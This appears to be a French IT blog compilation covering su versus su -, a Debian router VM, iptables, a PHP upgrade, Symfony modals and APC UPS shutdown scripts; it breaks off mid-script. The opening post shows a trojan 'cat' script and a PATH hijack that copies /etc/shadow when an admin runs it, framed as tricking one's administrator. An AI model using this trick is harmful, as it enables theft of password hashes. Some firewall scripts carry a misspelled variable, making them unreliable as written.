Pourquoi utiliser « su – » plutôt que « su » ?

su - invoque un shell de connexion après avoir changé d'utilisateur. Un shell de connexion réinitialise la plupart des variables d'environnement, fournissant une base propre.

su ne fait que changer d'utilisateur, fournissant un shell normal avec un environnement presque identique à celui de l'ancien utilisateur.

Imaginez que vous êtes un développeur de logiciels avec un accès normal à une machine et que votre administrateur ignorant ne vous donne pas l'accès au compte root. Essayons (avec un peu de chance) de le piéger:

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
chmod +x /tmp/evil_bin/cat`
PATH="/tmp/evil_bin:$PATH"

Maintenant, vous demandez à votre administrateur pourquoi vous ne pouvez pas afficher le fichier factice dans votre dossier personnel, il ne fonctionnera tout simplement pas !

$ ls -l /home/vous/mon-super-fichier
-rw-r--r-- 1 you wheel 41 2020-06-28 13:00 mon-super-fichier
$ cat /home/vous/mon-super-fichier
/bin/cat: Permission denied!

Si l'administrateur est à coté de votre bureau, il va s'approcher de votre ordinateur et vouloir essayer avec ses super pouvoirs de root:

$ su
Password: ...
$ cat /home/vous/mon-super-fichier
du contenu super important dans ce fichier.
$ exit

Merci monsieur l'admin ! ^^ (vous l'aurez compris, si il avait utilisé su -au lieu de su cette technique n'aurait pas fonctionné...)

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2020-06-28 13:02 /tmp/shadow_copy

Vous vous retrouvez donc avec le contenu du fichier /etc/shadow qui contien les mots de passe chiffrés... Il ne vous reste plus qu'a tenter de les déchiffrer... et pour ça, je vous laisse lire cet article de l'excellent Korben:
Comment cracker un mot de passe sous linux


sources principales: https://stackoverflow.com

Un routeur simple avec Debian 10

Vous pouvez télécharger la VM ici: Image OVA routeur

Voici un exemple simple de routeur que vous pourrez utiliser dans vos Labos. Il possède deux interfaces. La première interface (eth0) est à considérer comme interface externe (connectée à internet) et la deuxième interface (eth1) est considérée comme interface interne à connecter à votre réseau LAN. le NAT est activé en sortie sur eth0.

Configuration avec VMware

Si vous utilisez VMware workstation, il faut que la première carte réseau soit configurée en mode bridge ou NAT et la seconde en mode "custom" sur un réseau VMNET:
configurer le réseau VMware

Configuration avec Virtualbox

Avec Virtualbox, la configuration est similaire, il faut pour "Adapter 1" choisir le mode "Bridged Adapter" ou "NAT". Tandis que pour "Adapter 2", il faut choisir "Internal Network"  et donner un nom à votre réseau.

Ensuite, vos autres VM devront être dans la même "Internal Network" ou "VMnet" que ce que vous aurez choisit pour votre carte réseau.

Configuration de la VM

l'interface "eth0" est préconfigurée en DHCP tandis que l'interface "eth1" est quant à elle préconfigurée avec une ip statique.

Comme pour toute distribution DEBIAN, vous pouvez personnaliser cette configuration en éditant le fichier /etc/network/interfaces

Aucun filtrage ou pare-feu n'est activé.

Pour vous connecter au routeur, le mot de passe root est "Pwd2020". Un utilisateur "eleve" est aussi créé, son mot de passe est "PWD"

Vous pouvez télécharger la VM ici: Image OVA routeur

Fonctionnement et paramétrage d’un firewall avec Netfilter et IPTABLES

Principe de fonctionnement

Netfilter vs Iptables

Netfilter est une architecture de filtrage des paquets. Le filtrage se fait au sein du noyeau au niveau des couches basses du modèle OSI (Liaison de donnée, Réseau et Transport).
Netfilter est stateless, il n'inspecte que les entêtes des paquets. Il n'entraine pas de latence.

Netfilter est un firewall qui agit au niveau du protocole. Il fonctionne un peu comme une API: pour pouvoir interagir avec Netfilter, nous aurons donc besoin d'un "logiciel client". Il y en a plusieurs mais IPTables est le plus connu et le plus utilisé.Vous l'aurez donc compris, IPTABLES n'est pas un firewall. C'est un programme permettant d'interagir et paramétrer le firewall netfilter.

Cheminement d'un paquet

Voici un schéma materialisant le chemin que peut prendre un paquet:

il était une fois la vie des paquets

Chaque état (rectangle rouge) représente un point de filtrage possible avec IPTABLES.

PREROUTING: Traite les paquets à leur arrivée. Si un paquet est à destination du système local, il sera traité par un processus local (INPUT et/ou OUTPUT). Par exemple, si le paquet est destiné au serveur apache (port 80 ou 443) installé sur notre même serveur, il sera traité par le chemin de gauche. Sinon, si nous avons activé le forwarding, le paquet empruntera le chemin de droite, c'est à dire que les règles FORWARD et POSTROUTING  seront appliquées.

FORWARD : Traite les paquets qui traversent le système local

INPUT: Traite les paquets destinés au système local (par exemple pour accéder à un service hébergé sur le même serveur que notre pare-feu)

OUTPUT: Traite les paquets qui quittent le système local

POSTROUTING: Traite les paquets juste avant qu'ils sortent.

 

Les Règles

Pour décider ce que va devenir un paquet, netfilter va appliquer des règles qu'on lui aura fourni. Ces règles ont un ordre et les paquets seront testés avec chacunes des règles les unes après les autres. Si une règle correspond, le paquet sera traité et les autres règles ne seront pas utilisées. D'où l'importance de l'ordonnancement de ces règles !

règles netfilter

Les cibles

Les cibles sont les actions à effectuer lorsqu'un paquet correspond au critères d'une règle. Les deux actions de base sont DROP et ACCEPT mais il existe aussi REJECT et LOG.

  • DROP: On rejète le paquet sans envoyer de notification à la source.
  • REJECT: On rejète le paquet et on retourne une erreur.
  • ACCEPT: Le paquet est accepté
  • LOG: Une info est écrite dans les logs.

Voici un exemple de règle:

iptables -A INPUT -s 216.58.209.227 -j DROP

décomposons cette règle:

-A: on ajoute la règle (les options sont A=Ajouter, I=Insérer, D=supprimer, L=lister)

INPUT: le point de filtrage

-s 216.58.209.227: l'adresse IP source

-j DROP: l'action à effectuer sur le paquet (la cible)

Les opérations

Comme expliqué sur le schéma précédent, les règles sont ordonnées. Elles sont numérotées à partir de 1.

On utilise -A pour ajouter une règle:

iptables -A INPUT -s 216.58.209.227 -j DROP

On insère une règle avec -I à la position souhaitée (position 2):

iptables -I OUTPUT -d 216.58.209.227 -j DROP 2

On supprime une règle avec -D

iptables -D OUTPUT 2

On liste les règles avec -L


# iptables -L
Chain INPUT (policy ACCEPT)
target    prot opt source     destination

Chain FORWARD (policy ACCEPT)
target    prot opt source     destination

Chain OUTPUT (policy ACCEPT)
target    prot opt source     destination

On supprime toutes les règles avec -F (flush)

iptables -F

Les critères

Les critères servent à spécifier une règle. Pour qu'une règle s'applique, tous les critères doivent être vérifiés. Voici les principaux critères:

-i : interface entrante
-o : interface sortante
-p : protocole de couche 4.
-s : adresse IP source
-d : adresse IP destination

Voici quelques exemples:

On interdit les entrées par eth0:

iptables -A INPUT -i eth0 -j DROP

On interdit le forward entre eth0 et eth1:

iptables -A FORWARD -i eth0 -o eth1 -j DROP

On interdit le ping (protocole ICMP):

iptables -A input -p icmp -j DROP
Les arguments des critères
Pour les adresses:

-s signifie "source" et -d signifie "destination". On peut indiquer l'adresse IP, le nom d'hôte ou même un réseau entier (192.168.1.0/24 ou 192.168.1.0/255.255.255.0)

Pour les ports:

--sport signifie "port source", --dport signifie "port destination". On peut indiquer un numéro, un nom, une étendue de ports ( 81:1024).

Sur cet exemple, on interdit les connexions au serveur httpd sur le port 80:

 iptables -A input -p tcp --dport 80 -j DROP

Le point d'exclamation (!) permet de dire "tout sauf". Dans cet exemple on interdit toutes les connexions entrantes sauf celles venant de l'adresse ip 192.168.1.10:

iptables -A INPUT -s ! 192.168.1.10 -j DROP

Les Tables

En plus des points de filtrage (INPUT, OUTPUT, etc..) Netfilter utilise des tables particulières qui peuvent contenir des règles spécifiques. Les tables principales tables existantes sont: FILTER, NET et MANGLE. Si on ne précise pas de nom de table, la table FILTER sera utilisée par défaut:

iptables -L #affiche la liste des règles de la table FILTER
iptables -t nat -L #affiche la liste des règles de la table NAT

Exemple d'utilisation, le masquage d'IP:

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Dans cet exemple, on ajoute une règle (-A) sur la table "nat" (-t nat), sur le point de filtrage "postrouting", c'est à dire juste avant que le paquet sorte, et on applique la règle "MASQUERADE". C'est à dire qu'on remplace l'adresse IP source dans l'entête du paquet par l'adresse IP publique du firewall pour faire croire à la machine qui doit recevoir ce paquet qu'il a été envoyé par notre firewall.

Le routage

Nous allons considérer le réseau suivant:

exemple de réseau avec un pare-feu/routeur

Pour créer un routeur sous linux, il y a plusieurs étapes à suivre.

Activer la fonctionnalité de routage

Le routage est une fonctionnalité du noyau linux. Par défaut cette fonctionnalité est désactivée, il faut donc l'activer.

on édite le fichier sysctl.conf situé dans le répertoire "etc":

vi /etc/sysctl.conf

ensuite on repère cette ligne:

net.ipv4.ip_forward=0

et on remplace le "0" par un "1" (on la décommente si elle est commentée):

net.ipv4.ip_forward=1

Pour activer les changements, vous pouvez rebooter votre machine ou utiliser cette commende:

sysctl -p /etc/sysctl.conf

Créer les règles IPTABLES

Dans ces exemples, nous allons considérer que l'interface connectée à internet est eth0 et l'interface connectée au réseau local est eth1.

Tout ce qui provient de notre réseau local (LAN) est autorisé à traverser le routeur:

iptables -A FORWARD -i eth1 -j ACCEPT

On autorise les "paquets de réponse", autrement dit, tout ce qui vient de l'extérieur (WAN) et qui veut rentrer vers l'intérieur (LAN) et qui correspond à une réponse est autorisé:

iptables -A FORWARD -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT

Le masquage d'adresse IP source

Comme vous le savez, une entête de paquet IP comporte, entre autres, l'adresse IP source et l'adresse IP destination.
L'adresse IP source est importante. En effet, sans elle, la machine qui reçoit le paquet ne sait pas à qui envoyer la réponse.
Dans notre exemple, imaginons que le PC1 envoie des paquets vers internet (pour affichier un site internet par exemple...), l'entête des paquets qu'il va envoyer vont logiquement comporter l'adresse IP source. C'est à dire, dans cet exemple l'adresse 192.168.1.20.

Le problème qui se pose ici est que cette adresse n'est pas une adresse "routable" sur internet. Le site internet qui reçoit les paquets ne pourra donc pas répondre à une adresse locale.

Voici la solution:

Nous allons remplacer l'adresse IP source du paquet par l'adresse ip publique de notre routeur/firewall. De cette manière le site internet saura à qui envoyer la réponse.

Nous pouvons le faire de deux façon différentes. En utilisant la règle "MASQUERADE" ou en utilisant "SNAT".

MASQUERADE

cette solution est surtout adaptée quand l'adresse IP de l'interface WAN (eth0 dans notre exemple) n'est pas une adresse IP fixe. Pour chaque paquet, iptables va rechercher l'IP de l'interface eth0 et remplacer l'IP source du paquet par celle-ci:

iptables -A POSTROUTING -t nat -o eth0 -j MASQUERADE
SNAT

Cette solution est à utiliser quand l'adresse ip publique est fixe. Même si la solution "masquerade" fonctionne avec une adresse ip fixe, la solution SNAT est plus optimisée car iptables n'a pas à rechercher l'adresse ip de l'interface WAN à chaque paquet (oui oui, il le fait à chaque paquet, n'oubliez pas que netfilter est "stateless")

iptables -A POSTROUTING -t nat -o eth0 -j SNAT --to-source 89.63.83.128 

Sauvegarder la configuration

Quand vous ajoutez des règles iptables, celles-ci sont stockées en mémoire. Elles ne seront donc actives que jusqu'au prochain reboot. C'est pour cette raison qu'il faut penser à sauvegarder votre configuration. Pour le faire, il y a plusieurs solutions en fonction de la distribution linux que vous utilisez.

RedHat / CentOS

en root:

/sbin/service iptables save

Cette commande lance le script d'initialisation d'iptables qui va lancer le programme /sbin/iptables-save . Ce programme va écrire la configuration iptables active dans le fichier /etc/sysconfig/iptables . L'ancien fichier est sauvegardé dans /etc/sysconfig/iptables.save . Bien qu'il soit toujours une bonne idée de tester une nouvelle règle iptables avant de l'écrire dans le fichier /etc/sysconfig/iptables, il est possible d'écrire directement dans ce fichier. Cela permet de distribuer rapidement un ensemble de règles iptables sur plusieurs machines. Dans ce cas, à chaque modification du fichier, il faut réappliquer les règles en utilisant la commande /sbin/service iptables restart .

Debian / Ubuntu

méthode traditionelle

Pour sauvegarder la configuration iptables active dans un fichier:

iptables-save > /etc/iptables.up.rules

ensuite pour que la configuration soit chargée au prochaine reboot, vous pouvez créer un script:

vi /etc/network/if-pre-up.d/iptables

En plaçant ce script dans ce dossier, il sera lancé juste avant l'activation du réseau. Ainsi votre machine est tout le temps protégée.

 #!/bin/sh
 /sbin/iptables-restore < /etc/iptables.up.rules

il faut ensuite rendre ce script exécutable:

chmod +x /etc/network/if-pre-up.d/iptables
méthode simple

Vous pouvez utiliser le paquet "iptables-persistent"

ce paquet vous propose deux commandes:

netfilter-persistent save
netfilter-persistent reload

Ce programme va créer deux fichiers: /etc/iptables/rules.v4 et /etc/iptables/rules.v6 . Il vous suffit d'éditer ces fichiers pour modifier la configuration.

méthode alternative

Cette méthode alternative a pour avantage de pouvoir facilement activer et désactiver le firewall. On crée un script et on le lance directement au démarrage du réseau. Voici un exemple de fichier de configuration de vos interfaces qui va prendre ce script en compte:


# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The WAN Interface
allow-hotplug eno1
iface eno1 inet dhcp
        post-up /usr/local/bin/firewall.sh start
        pre-down /usr/local/bin/firewall.sh stop
# The LAN  network interface
allow-hotplug eno2
iface eno2 inet static
	address 192.168.1.250
	netmask 255.255.255.0

Les exemples suivants sont des exemples de scripts comme expliqué ici.

Exemples de configurations

Exemple de configuration basique pour un serveur web


#!/bin/sh
IPTBLES=/sbin/iptables
WAN=eth0 #Nom de l'interface qui sera relié à internet
LAN=eth1 #Nom de l'interface qui sera reliée au réseau local

firewall_start() { #Exécuter lors du routeur.sh start
	
#-------------------- INPUT -------------------
#Ces règles s'appliquent aux paquets entrants

#Tout ce qui sort peut rentrer à nouveau 
$IPTABLES -A INPUT -i $WAN -m state --state ESTABLISHED,RELATED -j ACCEPT 

#On autorise le PING sur l'interface WAN (facultatif)
$IPTABLES -A INPUT -i $WAN -p icmp -j ACCEPT

#On laisse passer tout ce qui rentre dans l'interface lan afin de permettre à nos utilisateurs d'utiliser le DHCP, le DNS...etc.
#Mais on aurait aussi pu n'autoriser que certains services.
$IPTABLES -A INPUT -i $LAN -j ACCEPT

#On ouvre les ports 80 et 443 pour notre serveur web
$IPTABLES -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
$IPTABLES -A INPUT -p tcp -m tcp --dport 443 -j ACCEPT

#Tout ce qui ne MATCH pas avec les règles précédente > ON jette !
$IPTABLES -P INPUT DROP

#-------------------- FORWARD -------------------
#Ces règles s'appliquent au paquets traversant le routeur
# Par defaut, on refuse tout
$IPTABLES -P FORWARD DROP

}

firewall_stop() { #exécuté lors du routeur.sh stop

#Clear des différentes tables d'iptables et remise à zéro de la configuration.
$IPTABLES -F
$IPTABLES -t nat -F
$IPTABLES -P INPUT ACCEPT
$IPTABLES -P FORWARD ACCEPT
}

firewall_restart() { #exécuté lors du routeur.sh restart
firewall_stop
sleep 2
firewall_start
}

case $1 in 'start' )
firewall_start
;;
'stop' )
firewall_stop
;;
'restart' )
firewall_restart
;;
*)
echo "usage: -bash {start|stop|restart}"
;;
esac

Exemple de mise en place d'un routeur


#!/bin/sh
IPTBLES-/sbin/iptables
WAN=eth0 #Nom de l'interface qui sera relié à internet
LAN=eth1 #Nom de l'interface qui sera reliée au réseau local

firewall_start() { #Exécuter lors du routeur.sh start
	
#-------------------- INPUT -------------------
#Ces règles s'appliquent aux paquets entrants

#Tout ce qui sort peut rentrer à nouveau 
$IPTABLES -A INPUT -i $WAN -m state --state ESTABLISHED,RELATED -j ACCEPT 

#On autorise le PING sur l'interface WAN (facultatif)
$IPTABLES -A INPUT -i $WAN -p icmp -j ACCEPT

#On laisse passer tout ce qui rentre dans l'interface lan afin de permettre à nos utilisateurs d'utiliser le DHCP, le DNS...etc.
#Mais on aurait aussi pu n'autoriser que certains services.
$IPTABLES -A INPUT -i $LAN -j ACCEPT

#Tout ce qui ne MATCH pas avec les règles précédente > ON jette !
$IPTABLES -P INPUT DROP


#-------------------- NAT -------------------
#Ces règles effectuent la réécriture d'adresses du NAT

#Tout ce qui a fini de traverser le routeur (postrouting) et qui sort par le WAN sera NATté
$IPTABLES -A POSTROUTING -t nat -o $WAN -j MASQUERADE

#Routage du port 80
#Tout se qui rentre sur le WAN (input donc) et qui rentre dans le TCP:80 sera rediriger vers 192.168.1.100:80 
$IPTABLES -A PREROUTING -t nat -j DNAT -i $WAN -p tcp --dport 80 --to-destination 192.168.1.100:80 



#-------------------- FORWARD -------------------
#Ces règles s'appliquent au paquets traversant le routeur

#Tout ce qui vient du WAN et sort par le LAN et qui correspond à une réponse est autorisé à passer.
$IPTABLES -A FORWARD -i $WAN -m state --state ESTABLISHED,RELATED -j ACCEPT

#Tout ce qui part du LAN est autorisé à traverser le routeur.
$IPTABLES -A FORWARD -i $LAN -j ACCEPT

#On autorise les paquets à traverser vers notre pc local uniquement pour le service. Cette règle est complémentaire de la règle NAT de routage du port 80
$IPTABLES -A FORWARD -i $WAN -p tcp --dport 80 -d 192.168.1.100 -j ACCEPT 


#Tout ce qui ne MATCH pas avec les règles précédente > ON jette !
$IPTABLES -P FORWARD DROP




}

firewall_stop() { #exécuté lors du routeur.sh stop

#Clear des différentes tables d'iptables et remise à zéro de la configuration.
$IPTABLES -F
$IPTABLES -t nat -F
$IPTABLES -P INPUT ACCEPT
$IPTABLES -P FORWARD ACCEPT
}

firewall_restart() { #exécuté lors du routeur.sh restart
firewall_stop
sleep 2
firewall_start
}

case $1 in 'start' )
firewall_start
;;
'stop' )
firewall_stop
;;
'restart' )
firewall_restart
;;
*)
echo "usage: -bash {start|stop|restart}"
;;
esac
Posted in IT

Mise à jour vers PHP 7.2 sur Debian 8 Jessie

Avec l'arrivée de Symfony 4.1, PHP 7.2 est obligatoire. Si votre serveur est encore avec DEBIAN 8 Jessie, voici comment mettre à jour PHP vers la version 7.2:

Ondřej Surý fournit des paquets PHP 7.2 pour Debian sur son dépot:

apt-get install apt-transport-https lsb-release ca-certificates
wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list
apt-get update
apt-get install php7.2-cli
apt-get install php7.2 php7.2-opcache libapache2-mod-php7.2 php7.2-mysql php7.2-curl php7.2-json php7.2-gd  php7.2-intl php7.2-mbstring php7.2-xml php7.2-zip php7.2-fpm php7.2-readline

Ensuite, redémarrez APACHE:

service apache2 restart

Si tout s'est bien passé, la commande php -v devrait vous retourner:

PHP 7.2.7-2+0~20180714182401.1+jessie~1.gbp3fcba8 (cli) (built: Jul 15 2018 13:57:20) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.7-2+0~20180714182401.1+jessie~1.gbp3fcba8, Copyright (c) 1999-2018, by Zend Technologies
    with Xdebug v2.6.0, Copyright (c) 2002-2018, by Derick Rethans

Insérer un formulaire dans une modale avec Symfony et MaterializeCSS

Quand on débute le développement Web, une des choses assez difficile à comprendre est le fonctionnement des fenêtres modale. Cette question m'a été posé plusieurs fois, c'est pour cette raison que j'ai décidé de faire un article.

Principe de fonctionnement

Principe de fonctionnement des fenêtres modales

la fenêtre modale est déjà intégrée dans la page Web mais n'est simplement pas encore affichée. Voici un exemple de code html avec materializecss :

<!-- Bouton servant à activer la modale -->
<a class="waves-effect waves-light btn modal-trigger" href="#modal1">Modal</a>

<!-- Structure de la modale -->
<div id="modal1" class="modal">
<div class="modal-content">
<h4>Modal Header</h4>
A bunch of text

</div>
<div class="modal-footer"><a class="modal-close waves-effect waves-green btn-flat" href="#!">Agree</a></div>
</div>

On peut donc voir qu'une fenêtre modale est composée de deux parties: la structure et le lien permettant de l'activer.

Quand on clique sur le lien elle s'affiche mais est vide. Il faut donc à ce moment là effectuer un appel AJAX pour la remplir. (afficher le formulaire).

Exemple avec Symfony

Dans cet exemple, nous avons une entité « compétition » et une entité « inscrit » . Il y a une relation one to many: 1 compétition peut avoir plusieurs inscrits.
Voici la vue twig:
Le lien d'activation:
<a data-target="{{ path('competition-inscription', {'id': competition.id}) }}" data-tooltip="voir"
   class="tooltipped modal-trigger btn right-align"
   href="#modal1">inscription</a>
Et la modale correspondante:
<div id="modal1" class="modal">
    <div class="modal-content">


    </div>
    <div class="modal-footer">

    </div>
</div>
Quand on clique sur le bouton d’inscription, on appelle ce script javascript:
$(document).ready(function() {
//On écoute le "click" sur le bouton ayant la classe "modal-trigger"
$('.modal-trigger').click(function () {
//On initialise les modales materialize
        $('.modal').modal();
        //On récupère l'url depuis la propriété "Data-target" de la balise html a
        url = $(this).attr('data-target');
        //on fait un appel ajax vers l'action symfony qui nous renvoie la vue
        $.get(url, function (data) {
            //on injecte le html dans la modale
            $('.modal-content').html(data);
            //on ouvre la modale
            $('#modal1').modal('open');
        });
    })
});
Le contrôleur est donc appelé par un appel ajax. C'est la même action qui va servir à afficher le formulaire ou à traiter la soumission. Voici l’action du contrôleur:
/**
 * @Method({"GET", "POST"})
 * @Route("/competition/{id}/inscription", name="competition-inscription")
 * @param Request $request
 */
public function inscriptionAction(Competition $competition, Request $request)
{
    $inscrit = new Inscrit();
    $form = $this->createForm(InscritType::class, $inscrit);
    $form->handleRequest($request);
    if ($form->isSubmitted() && $form->isValid()) {
        $em = $this->getDoctrine()->getManager();
        $inscrit->setDateInscription(new \DateTime());
        $inscrit->setCompetition($competition);

        $em->persist($inscrit);
        $em->flush();
        $request->getSession()->getFlashbag()->add('success', 'Votre inscription a été enregistré.');
        return $this->redirectToRoute('competitions');
    }
    return $this->render(
        //On affiche  une vue twig simple (pas de head ni rien, donc aucun héritage de template...) qui sera intégrée dans la modale.
        'competitions/competitionModale.html.twig', array('form' => $form->createView(), 'competition' => $competition
        )
    );
}
La vue twig est une vue très simple qui ne doit hériter de rien:
{{ competition.titre }}
    <!-- Il faut préciser l'action dans le formulaire -->
    {{ form_start(form, {'action': path('competition-inscription', { 'id': competition.id })}) }}
    {{ form_widget(form) }}
    {{ form_end(form) }}
Conclusion
Comme vous le voyez, il n'y a rien de très compliqué, l'important est de bien comprendre le principe d'appel ajax pour afficher le formulaire à l'intérieur de la modale. Cette action peu être un peu longue, je vous conseille d'utiliser une icône de chargement, d'assombrir la page etc... vous trouverez plein de ressources sur le web pour ça.

Gestion de l’alimentation de serveurs ESXi avec un onduleur APC

Nous utilisons ici une machine DEBIAN 8 fraichement installée (un petit CPU et 256Mo de RAM suffisent)

Installation

Connexion de l’onduleur au serveur en USB

La connexion se fait à l’aide du câble USB-RJ45 fourni avec l’onduleur.

  • Allumez l'UPS.
  • Connectez d'abord le côté RJ45 dans l'UPS (à l'arrière) dans la fiche notée USB.
  • Connectez ensuite le côté USB dans un port libre USB de la machine linux
  • Vérifiez la connexion en tapant la commande lsusb
  • Vous devriez obtenir la liste des périphériques USB branchés sur la machine linux et notamment une ligne ressemblant à Bus 001 Device 002: ID 051d:0002 American Power Conversion Back-UPS Pro 500/1000/1500

Connexion de l’onduleur au réseau ethernet de l’entreprise en utilisant une carte AP9630

Le paramétrage de la carte n’est pas traité ici. Pour plus d’informations, se référer au manuel de l’utilisateur de la carte: UPS Network Management Card 2
Toutefois, pensez à déclarer l’IP de la machine de gestion linux dans l’interface web de la carte sous le menu Configuration -> PowerChute Clients

Installation des paquets nécessaires

apt-get update && apt-get install apcupsd sendemail putty-tools

Configuration du daemon de gestion de l’onduleur APCUPSD

Le démon place ses fichiers de configuration à deux endroits:

/etc/apcupsd/
root@debian:/etc/apcupsd$ ls -l
total 60
-rwxr-xr-x 1 user user 4488 févr. 15 12:14 apccontrol
-rw-r--r-- 1 root root 12623 févr. 15 12:15 apcupsd.conf
-rwxr-xr-x 1 user user 424 févr. 15 10:39 changeme
-rwxr-xr-x 1 user user 413 févr. 15 10:39 commfailure
-rwxr-xr-x 1 user user 452 févr. 15 10:39 commok
-rw-r--r-- 1 user user 662 févr. 15 10:39 hosts.conf
-rwxr-xr-x 1 user user 617 févr. 15 10:39 killpower
-rw-r--r-- 1 user user 2344 févr. 15 10:39 multimon.conf
-rwxr-xr-x 1 user user 752 févr. 15 10:39 offbattery
-rwxr-xr-x 1 user user 741 févr. 15 10:39 onbattery
-rwxr-xr-x 1 user user 944 févr. 15 10:39 ups-monitor

ainsi que le fichier

/etc/default/apcupsd

Attention, dans ce fichier la propriété ISCONFIGURED doit être YES car vous n’arriverez pas à démarrer le service.

Configuration du démon pour utilisation de la carte AP9630

Un fichier de configuration ainsi que 3 scripts vont nous intéresser:

Fichier de configuration:

/etc/apcupsd/apcupsd.conf -> Configuration générale

Trois scripts:

/etc/apcupsd/onbattery -> Envoie d’un mail pour notifier la coupure d’électricité

/etc/apcupsd/offbattery -> Envoie d’un mail pour notifier le rétablissement de l’électricité.

/etc/apcupsd/apccontrol -> Procédure d'extinction

Le fichier apcupsd.conf doit avoir ce genre de configuration:

## apcupsd.conf v1.1 ##
UPSNAME UPS01 #Nom de l'UPS
UPSCABLE ether #Type de cable
UPSTYPE pcnet #On utilise le driver PowerChute
LOCKFILE /var/lock
DEVICE ipaddr:user:passphrase # Cette propriété peut être laissée vide mais c'est un tout petit peu moins sécurisé
UPSCLASS standalone
UPSMODE disable
ONBATTERYDELAY 20 #Au bout de 20 seconde lance le script "onbattery" qui va notifier par mail

#ATTENTION ! Les trois propriétés suivantes fonctionnent en simultané. La survenue de l'un de ces évènements lance le script apccontrol et donc la procédure d'arret
BATTERYLEVEL 20 #L'onduleur n'a plus que 20% de battery
MINUTES 20 #L'onduleur n'a plus que 20 minutes de batterie
TIMEOUT 600 #L'onduleur est sur batterie depuis 600 secondes. Si on le configure à 0, ce timer est désactivé.

Attention ! dans la propriété DEVICE, user et passphrase ne correspondent pas au nom d’utilisateur utilisé pour se connecter à l’interface web. Ce nom d’utilisateur et cette passphrase se configurent dans l’interface web de la carte sous:

Configuration -> Shutdown

voici un exemple de script onbattery qui va envoyer un mail de notification (on utilise un smtp ouvert)

# this shell script if placed in /etc/apcupsd
# will be called by /etc/apcupsd/apccontrol when the UPS
# goes on batteries.
#
SYSADMIN=administrateur@exemple.com
APCUPSD_MAIL="/usr/bin/sendemail"
HOSTNAME=`hostname`
MSG="COUPURE ELECTRIQUE DANS SALLE SERVEUR"
#
(
echo " "
echo " =================================================="
echo " COUPURE ELECTRIQUE EN COURS DANS LA SALLE SERVEUR"
echo " =================================================="
echo " "
echo " L'onduleur a detecté un probleme et sa batterie a pris le relais"
echo " "
echo "Ne paniquez pas ! Restez calme ..."
echo " "
echo "Status de l'onduleur:"
echo " "
/sbin/apcaccess status
) | $APCUPSD_MAIL -u "$MSG" -f onduleur@exemple.com -t $SYSADMIN -s smtp-relay.exemple.com:25
exit 0
offbattery qui va notifier du retour à la normale
# this shell script if placed in /etc/apcupsd
# will be called by /etc/apcupsd/apccontrol when the UPS
# goes on batteries.
#
SYSADMIN=administrateur@exemple.com
APCUPSD_MAIL="/usr/bin/sendemail"
HOSTNAME=`hostname`
MSG="ALIMENTATION ELECTRIQUE RETABLIE DANS SALLE SERVEUR"
#
(
echo " "
echo " =================================================="
echo " ALIMENTATION ELECTRIQUE RETABLIE DANS LA SALLE SERVEUR"
echo " =================================================="
echo " "
echo " La salle serveur est à nouveau alimentée electriquement"
echo " "
echo " Tout est revenu à la normale... nous sommes sauvés..."
echo " "
echo "Status de l'onduleur:"
echo " "
/sbin/apcaccess status
) | $APCUPSD_MAIL -u "$MSG" -f onduleur@exemple.com -t $SYSADMIN -s smtp-relay.gmail.com:25
exit 0

Ensuite on modifie le fichier apccontrol afin de se logguer en SSH sur les ESXi et lancer une procédure d’extinction. On peut aussi éteindre des serveurs windows physiques. Pensez à bien paramétrer VSPHERE pour bien établir l’ordre d’extinction des VM's

#!/bin/sh
#
# Copyright (C) 1999-2002 Riccardo Facchetti <riccardo@master.oasi.gpa.it>
#
# for apcupsd release 3.14.12 (29 March 2014) - debian
#
# platforms/apccontrol. Generated from apccontrol.in by configure.
#
# Note, this is a generic file that can be used by most
# systems. If a particular system needs to have something
# special, start with this file, and put a copy in the
# platform subdirectory.
#

#
# These variables are needed for set up the autoconf other variables.
#
prefix=/usr
exec_prefix=${prefix}

APCPID=/var/run/apcupsd.pid
APCUPSD=/sbin/apcupsd
SHUTDOWN=/sbin/shutdown
SCRIPTSHELL=/bin/sh
SCRIPTDIR=/etc/apcupsd
WALL=wall

export SYSADMIN=root
export APCUPSD_MAIL="mail"
if [ -f $SCRIPTDIR/config ]; then . $SCRIPTDIR/config ; fi

#
# Concatenate all output from this script to the events file
# Note, the following kills the script in a power fail situation
# where the disks are mounted read-only.
# exec >>/var/log/apcupsd.events 2>&1

#
# This piece is to substitute the default behaviour with your own script,
# perl, or C program.
# You can customize every single command creating an executable file (may be a
# script or a compiled program) and calling it the same as the $1 parameter
# passed by apcupsd to this script.
#
# After executing your script, apccontrol continues with the default action.
# If you do not want apccontrol to continue, exit your script with exit
# code 99. E.g. "exit 99".
#
# WARNING: the apccontrol file will be overwritten every time you update your
# apcupsd, doing `make install'. Your own customized scripts will _not_ be
# overwritten. If you wish to make changes to this file (discouraged), you
# should change apccontrol.sh.in and then rerun the configure process.
#
if [ -f ${SCRIPTDIR}/${1} -a -x ${SCRIPTDIR}/${1} ]
then
${SCRIPTDIR}/${1} ${2} ${3} ${4}
# exit code 99 means he does not want us to do default action
if [ $? = 99 ] ; then
exit 0
fi
fi

case "$1" in
killpower)
echo "Apccontrol doing: ${APCUPSD} --killpower on UPS ${2}" | ${WALL}
sleep 30
${APCUPSD} --killpower
echo "Apccontrol has done: ${APCUPSD} --killpower on UPS ${2}" | ${WALL}
;;
commfailure)
echo "Warning communications lost with UPS ${2}" | ${WALL}
;;
commok)
echo "Communications restored with UPS ${2}" | ${WALL}
;;
#
# powerout, onbattery, offbattery, mainsback events occur
# in that order.
#
powerout)
;;
onbattery)
echo "Power failure on UPS ${2}. Running on batteries." | ${WALL}
;;
offbattery)
echo "Power has returned on UPS ${2}..." | ${WALL}
;;
mainsback)
if [ -f /etc/apcupsd/powerfail ] ; then
